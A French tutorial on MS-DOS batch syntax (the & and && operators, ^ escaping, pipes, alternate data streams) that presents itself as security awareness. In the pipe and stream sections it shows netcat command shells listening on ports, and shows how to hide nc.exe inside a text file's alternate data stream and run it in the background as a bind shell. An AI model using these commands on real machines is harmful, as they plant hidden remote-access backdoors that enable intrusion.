0x01. PLUS ?
Contrairement à ce que pensent certain MSDOS est un langage puissant (tout de même incomparable au Bash sous Linux). Il est possible d'effectuer plusieurs actions sous conditions, comme il est possible de rediriger la sortie vers une autre application à travers un canal (= pipe, le caractère "|"). Tout les symboles ont un sens particulier et certains même s'accouplent pour donner naissance à un nouveau sens (quelle métaphore :) ). Par exemple le symbole éperluette : "&" est soit un opérateur logique ET soit une condition d'éxecution ET. Voici un exemple pour expliquer ceci, car la nuance est assez subtile. En fait le "&" va permettre de mettre le résultat dans ERRORLEVEL alors que le "&&" éxecutera en fonction de la valeur retournée dans ERRORLEVEL par l'appel précédent.
REM -- La commande ping -n 1 127.0.0.1 | find "TEST" REM -- ne renvoie rien, car le message TEST n'est pas contenu dans la réponse REM -- de la commande. ping -n 1 127.0.0.1 | find "TEST" & ping -n 1 127.0.0.1 | find "TTL" REM -- cette commande affichera: REM -- C:/> Réponse de 127.0.0.1 : octets=32 temps<1ms TTL=128 REM -- on a donc ERRORLEVEL qui vaut: echo %ERRORLEVEL% REM -- C:/> 1 REM -- Maintenant on double l'éperluette, l'ensemble de la commande ne renvoie rien REM -- car la première s'est effectué en retournant le niveau d'erreur 1 ping -n 1 127.0.0.1 | find "TEST" && ping -n 1 127.0.0.1 | find "TTL" REM -- cette commande n'affichera rien et ERRORLEVEL vaut: echo %ERRORLEVEL% REM -- C:/> 0
Maintenant une question qui peut paraître étrange, comment fait-on pour afficher la commande que nous venons de taper, car si on fait:
echo ping -n 1 127.0.0.1 | find "TEST" && ping -n 1 127.0.0.1 | find "TTL"
Rien ne s'affiche et s'il n'y a qu'un "&" alors on ne voit la réponse que de la deuxième commande:
ping -n 1 127.0.0.1 | find "TTL"
Pour cela il suffit d'utiliser le symbole "^", CIRCONFLEXE. Ce symbole permet l'échappement des caractères. Seul il demande une autre chaîne de caractère ou bien la suite des paramètres d'une commande. Dans l'exemple ci-dessous, nous allons l'utiliser pour permettre à notre commande ping d'éffectuer 3 requêtes (le paramètre "-n 3") au lieu de 4.
REM -- Nous saisissons: C:/> ping 127.0.0.1 ^ REM -- L'invité de commande affiche: Plus ? REM -- Nous saisissons: -n 3 REM -- L'invité de commande affiche le résultat: Envoi d'une requête 'ping' sur 127.0.0.1 avec 32 octets de données : Réponse de 127.0.0.1 : octets=32 temps<1ms TTL=128 Réponse de 127.0.0.1 : octets=32 temps<1ms TTL=128 Réponse de 127.0.0.1 : octets=32 temps<1ms TTL=128 Statistiques Ping pour 127.0.0.1: Paquets : envoyés = 3, reçus = 3, perdus = 0 (perte 0%), Durée approximative des boucles en millisecondes : Minimum = 0ms, Maximum = 0ms, Moyenne = 0ms
Le caractère d'échappement sous MSDOS est le circonflexe ^. N'ont pas besoin d'être échappé puisque pour MSDOS c'est un caractère affichage. echo "Hello World! affichera "Hello World!" avec les guillemets.
REM -- Nous saisissons: C:/> echo ping -n 1 127.0.0.1 ^| find "TEST" ^&^& ping -n 1 127.0.0.1 ^| find "TTL" REM -- L'invité de commande affiche le résultat: ping -n 1 127.0.0.1 | find "TEST" && ping -n 1 127.0.0.1 | find "TTL"
0x02. PIPE
Le PIPE est un mot anglais signifiant tuyau, tube (et même pipe, la pipe à fumer bien sûr !!) il sert donc à canaliser les données d'un point à un autre. Pour que cet opérateur soit fonctionnel il faut que le programme numéro 2 soit Schématiquement ça ressemble à ça:
PROGRAMME NUMERO 1 | PROGRAMME NUMERO 2 données en sortie =====> données en entrée Le programme numéro 2 reçoit la sortie du programme numéro 1 Le programme numéro 1 envoie sa sortie au programme numéro 2 Ce qui signifie à peu de choses près la même chose ECHO "Ceci est un test" | FIND "cela" "Ceci est un test" ===> REM -- "cela" est la chaîne de caractère à travailler par le programme FIND REM -- cette commande n'affichera donc rien.
S'il est vrai que sous Windows le PIPE se limite souvent à un FIND ; mais avec des outils spécifiques, comme NETCAT il est possible de faire des choses intéressantes:
nc -l -L -p 4444 | cmd | nc -l -L -p 5555
Cette commande va faire les choses suivantes:
- Ecouter sur le port 4444
- Lancer CMD.EXE
- Ecouter sur le port 5555
de cette manière ci:
nc -l -L -p 4444 | cmd | nc -l -L -p 5555 COMMANDES ENTREES | INVITE DE COMMANDE MSDOS | COMMANDES SORTIES
Du coup pour exploiter cette commande il faut:
- Ouvrir une autre console MSDOS, et se connecter sur le port 4444, c'est de là que seront envoyées les données
+ Les données envoyées seront donc dirigées vers l'invité de commande MSDOS, qui renverra donc ce qu'il doit afficher sur le port en écoute 5555
- Il faut donc ouvrir une autre console MSDOS et se connecter sur le port 5555 pour voir le résultat de la commande lancée sur le port 4444
de cette manière ci:
nc -l -L -p 4444 | cmd | nc -l -L -p 5555 dir | interprète la commande | affiche le résultat
[ Console #1 ] --------------- nc -l -L -p 4444 | cmd | nc -l -L -p 5555 [ Console #2 ] --------------- nc 127.0.0.1 4444 date /T [ Console #3 ] --------------- nc 127.0.0.1 5555 Microsoft Windows XP [version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:/>date /T 25/07/2007 C:/>
0x03. FLUX
Dans Windows, les flux peuvent être simplement des données à envoyer vers un périphérique ou un programme, mais il peut également s'agir d'un flux alternatif. Les flux alternatifs donnaient naissance à une époque à des sites internet cachés, ces sites cachés étaient implémentés sur des serveurs IIS (Microsoft). Les anti-virus modernes scanne désormais les flux alternatifs ou ADS : Alternate Data Stream. Effectivement grâce -ou- à cause de ces ADS, on peut cacher un programme dans un autre:
type c:/windows/system32/notepad.exe > c:/windows/system32/calc.exe:blocnote.exe
start c:/windows/system32/calc.exe:blocnote.exe Avec cet exemple on lance le bloc-note à partir de la calculatrice, ce qui a peu d'interêt, mais cela met bien en valeur le danger que représente les ADS:
echo "Salut c'est un message rien que pour toi !" > c:/message.txt type c:/netcat/nc.exe > c:/message.txt:netcat.exe start /B c:/message.txt:netcat.exe -l -L -p 3307 -e cmd.exe
Cette fois-ci nous avons créer dans un premier temps un fichier texte, puis nous avons copier le contenu de netcat dedans, que nous lancerons en arrière plan de manière à ce que si on se connecte sur la machine sur le port 3307 nous avons un invité de commandes MSDOS. Nous pouvons bien voir le port en écoute sur la machine:
netstat -an Affiche: TCP 0.0.0.0:3307 0.0.0.0:0 LISTENING
Les fluxs peuvent avoir une tout autre forme, il est également possible de demander à l'utilisateur d'intervenir en demandant une information, il s'agit donc d'un flux entrant grâce à la commande SET, ici nous allons vérifier qu'une machine n'a pas de ports ouverts et accessibles de l'extérieur:
REM -- SET /P permet à l'utilisateur de saisir l'information. SET /P ADRESSE_IP="Quel est votre adresse IP ?" REM -- NUL est une sortie dans laquelle rien n'est gardé, permet de masquer l'affichage d'un programme netstat -an | find /V "%ADRESSE_IP%" | find /V "127.0.0.1" | find "LISTENING" > NUL REM -- S'il n'y a pas d'erreur c'est que la commande s'est bien exécutée il y a donc des ports REM -- ouverts, on avertit l'utilisateur et on les affiche if %ERRORLEVEL%==0 DO ( echo Voici les ports ouvert sur %COMPUTERNAME% d'adresse IP %ADRESSE_IP% : netstat -an | find /V "%ADRESSE_IP%" | find "0.0.0.0:0" | find "LISTENING" ) REM -- L'erreur a été initialisée à 1, rien ne s'affiche, il n'y a donc pas de ports ouverts. if %ERRORLEVEL%==1 DO echo Il n'y a aucun ports ouvert sur %COMPUTERNAME%
0x04. CONCLUSION
Le but de ce tutorial est de sensibiliser sur la sécurité, choisissez bien votre antivirus - il doit scanner les flux alternatifs. NetCat est considéré comme un virus, mais il est très probable de le trouver sous des formes différentes, packé ou même crypté, il faut être vigilant au comportement du système. Cet article peut également être très utile pour l'administration d'un parc informatique, notamment pour les scripts de login.
=> Écrit par : Nicolas, le 06 octobre 2007
network